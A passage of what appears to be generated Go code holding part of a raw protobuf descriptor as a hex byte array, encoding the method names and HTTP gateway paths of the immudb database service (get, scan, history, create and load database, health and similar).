0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a,\n\t0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x45, 0x6e, 0x74, 0x72, 0x79, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x12, 0x0d, 0x2f,\n\t0x64, 0x62, 0x2f, 0x67, 0x65, 0x74, 0x2f, 0x7b, 0x6b, 0x65, 0x79, 0x7d, 0x12, 0x73, 0x0a, 0x0d,\n\t0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x12, 0x23, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65,\n\t0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65,\n\t0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x45, 0x6e, 0x74,\n\t0x72, 0x79, 0x22, 0x1d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x17, 0x3a, 0x01, 0x2a, 0x22, 0x12, 0x2f,\n\t0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x67, 0x65,\n\t0x74, 0x12, 0x5d, 0x0a, 0x06, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x20, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65,\n\t0x74, 0x65, 0x4b, 0x65, 0x79, 0x73, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78,\n\t0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01,\n\t0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x6b, 0x65, 0x79,\n\t0x12, 0x56, 0x0a, 0x06, 0x47, 0x65, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d,\n\t0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65, 0x79, 0x4c, 0x69,\n\t0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65,\n\t0x73, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64,\n\t0x62, 0x2f, 0x67, 0x65, 0x74, 0x61, 0x6c, 0x6c, 0x12, 0x59, 0x0a, 0x07, 0x45, 0x78, 0x65, 0x63,\n\t0x41, 0x6c, 0x6c, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x41, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x75, 0x65,\n\t0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x16, 0x82, 0xd3, 0xe4,\n\t0x93, 0x02, 0x10, 0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x65, 0x78, 0x65, 0x63,\n\t0x61, 0x6c, 0x6c, 0x12, 0x4f, 0x0a, 0x04, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1a, 0x2e, 0x69, 0x6d,\n\t0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x63, 0x61, 0x6e,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22,\n\t0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f,\n\t0x73, 0x63, 0x61, 0x6e, 0x12, 0x58, 0x0a, 0x05, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x12, 0x18, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4b, 0x65,\n\t0x79, 0x50, 0x72, 0x65, 0x66, 0x69, 0x78, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75,\n\t0x6e, 0x74, 0x22, 0x1a, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x14, 0x12, 0x12, 0x2f, 0x64, 0x62, 0x2f,\n\t0x63, 0x6f, 0x75, 0x6e, 0x74, 0x2f, 0x7b, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x7d, 0x12, 0x53,\n\t0x0a, 0x08, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x41, 0x6c, 0x6c, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f,\n\t0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70,\n\t0x74, 0x79, 0x1a, 0x19, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x22, 0x14, 0x82,\n\t0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x12, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x6f, 0x75, 0x6e, 0x74,\n\t0x61, 0x6c, 0x6c, 0x12, 0x4a, 0x0a, 0x06, 0x54, 0x78, 0x42, 0x79, 0x49, 0x64, 0x12, 0x18, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x11, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93,\n\t0x02, 0x0d, 0x12, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x2f, 0x7b, 0x74, 0x78, 0x7d, 0x12,\n\t0x73, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x42,\n\t0x79, 0x49, 0x64, 0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78,\n\t0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62,\n\t0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x12, 0x16, 0x2f, 0x64,\n\t0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x74, 0x78, 0x2f,\n\t0x7b, 0x74, 0x78, 0x7d, 0x12, 0x50, 0x0a, 0x06, 0x54, 0x78, 0x53, 0x63, 0x61, 0x6e, 0x12, 0x1c,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54,\n\t0x78, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x15, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4c,\n\t0x69, 0x73, 0x74, 0x22, 0x11, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0b, 0x3a, 0x01, 0x2a, 0x22, 0x06,\n\t0x2f, 0x64, 0x62, 0x2f, 0x74, 0x78, 0x12, 0x58, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72,\n\t0x79, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d,\n\t0x61, 0x2e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,\n\t0x1a, 0x16, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x45, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x16, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10,\n\t0x3a, 0x01, 0x2a, 0x22, 0x0b, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79,\n\t0x12, 0x6b, 0x0a, 0x0a, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x12, 0x20,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53,\n\t0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74,\n\t0x1a, 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x49, 0x6e, 0x66, 0x6f, 0x52, 0x65, 0x73, 0x70, 0x6f,\n\t0x6e, 0x73, 0x65, 0x22, 0x18, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0d,\n\t0x12, 0x0b, 0x2f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x69, 0x6e, 0x66, 0x6f, 0x12, 0x55, 0x0a,\n\t0x06, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65,\n\t0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,\n\t0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x14,\n\t0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x09, 0x12, 0x07, 0x2f, 0x68, 0x65,\n\t0x61, 0x6c, 0x74, 0x68, 0x12, 0x68, 0x0a, 0x0e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65,\n\t0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e,\n\t0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x25,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x48, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x52, 0x65, 0x73,\n\t0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93,\n\t0x02, 0x0c, 0x12, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x68, 0x65, 0x61, 0x6c, 0x74, 0x68, 0x12, 0x5d,\n\t0x0a, 0x0c, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x53, 0x74, 0x61, 0x74, 0x65, 0x12, 0x16,\n\t0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66,\n\t0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x49, 0x6d, 0x6d, 0x75, 0x74, 0x61, 0x62, 0x6c, 0x65,\n\t0x53, 0x74, 0x61, 0x74, 0x65, 0x22, 0x16, 0x92, 0x41, 0x02, 0x62, 0x00, 0x82, 0xd3, 0xe4, 0x93,\n\t0x02, 0x0b, 0x12, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x74, 0x61, 0x74, 0x65, 0x12, 0x65, 0x0a,\n\t0x0c, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12, 0x1f, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x65,\n\t0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54,\n\t0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x1b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x3a,\n\t0x01, 0x2a, 0x22, 0x10, 0x2f, 0x64, 0x62, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72,\n\t0x65, 0x6e, 0x63, 0x65, 0x12, 0x88, 0x01, 0x0a, 0x16, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61,\n\t0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12,\n\t0x29, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65,\n\t0x6e, 0x63, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d,\n\t0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66,\n\t0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x26, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x20, 0x3a,\n\t0x01, 0x2a, 0x22, 0x1b, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62,\n\t0x6c, 0x65, 0x2f, 0x73, 0x65, 0x74, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6e, 0x63, 0x65, 0x12,\n\t0x50, 0x0a, 0x04, 0x5a, 0x41, 0x64, 0x64, 0x12, 0x1a, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62,\n\t0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x41, 0x64, 0x64, 0x52, 0x65, 0x71, 0x75,\n\t0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x22, 0x13, 0x82, 0xd3,\n\t0xe4, 0x93, 0x02, 0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x61, 0x64,\n\t0x64, 0x12, 0x73, 0x0a, 0x0e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a,\n\t0x41, 0x64, 0x64, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68,\n\t0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x5a, 0x41,\n\t0x64, 0x64, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69,\n\t0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x1e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x3a, 0x01,\n\t0x2a, 0x22, 0x13, 0x2f, 0x64, 0x62, 0x2f, 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c,\n\t0x65, 0x2f, 0x7a, 0x61, 0x64, 0x64, 0x12, 0x53, 0x0a, 0x05, 0x5a, 0x53, 0x63, 0x61, 0x6e, 0x12,\n\t0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x5a, 0x53, 0x63, 0x61, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x17, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x5a, 0x45, 0x6e,\n\t0x74, 0x72, 0x69, 0x65, 0x73, 0x22, 0x14, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0e, 0x3a, 0x01, 0x2a,\n\t0x22, 0x09, 0x2f, 0x64, 0x62, 0x2f, 0x7a, 0x73, 0x63, 0x61, 0x6e, 0x12, 0x5b, 0x0a, 0x0e, 0x43,\n\t0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x17, 0x2e,\n\t0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61,\n\t0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e,\n\t0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x18,\n\t0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x63,\n\t0x72, 0x65, 0x61, 0x74, 0x65, 0x88, 0x02, 0x01, 0x12, 0x6b, 0x0a, 0x12, 0x43, 0x72, 0x65, 0x61,\n\t0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x12, 0x1f,\n\t0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x1a,\n\t0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75,\n\t0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x1c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x13, 0x3a,\n\t0x01, 0x2a, 0x22, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x77, 0x69,\n\t0x74, 0x68, 0x88, 0x02, 0x01, 0x12, 0x79, 0x0a, 0x10, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44,\n\t0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x56, 0x32, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75,\n\t0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65,\n\t0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a,\n\t0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e,\n\t0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65,\n\t0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x18, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x3a, 0x01,\n\t0x2a, 0x22, 0x0d, 0x2f, 0x64, 0x62, 0x2f, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2f, 0x76, 0x32,\n\t0x12, 0x6c, 0x0a, 0x0c, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65,\n\t0x12, 0x22, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71,\n\t0x75, 0x65, 0x73, 0x74, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63,\n\t0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73,\n\t0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x13, 0x82, 0xd3, 0xe4, 0x93, 0x02,\n\t0x0d, 0x3a, 0x01, 0x2a, 0x22, 0x08, 0x2f, 0x64, 0x62, 0x2f, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x74,\n\t0x0a, 0x0e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65,\n\t0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61,\n\t0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52,\n\t0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x44, 0x61, 0x74,\n\t0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x15, 0x82,\n\t0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x75, 0x6e,\n\t0x6c, 0x6f, 0x61, 0x64, 0x12, 0x74, 0x0a, 0x0e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61,\n\t0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x24, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e,\n\t0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x44, 0x61, 0x74,\n\t0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x25, 0x2e, 0x69,\n\t0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x65, 0x6c,\n\t0x65, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f,\n\t0x6e, 0x73, 0x65, 0x22, 0x15, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x0f, 0x3a, 0x01, 0x2a, 0x22, 0x0a,\n\t0x2f, 0x64, 0x62, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x63, 0x0a, 0x0c, 0x44, 0x61,\n\t0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x16, 0x2e, 0x67, 0x6f, 0x6f,\n\t0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70,\n\t0x74, 0x79, 0x1a, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65,\n\t0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52,\n\t0x65, 0x73, 0x70, 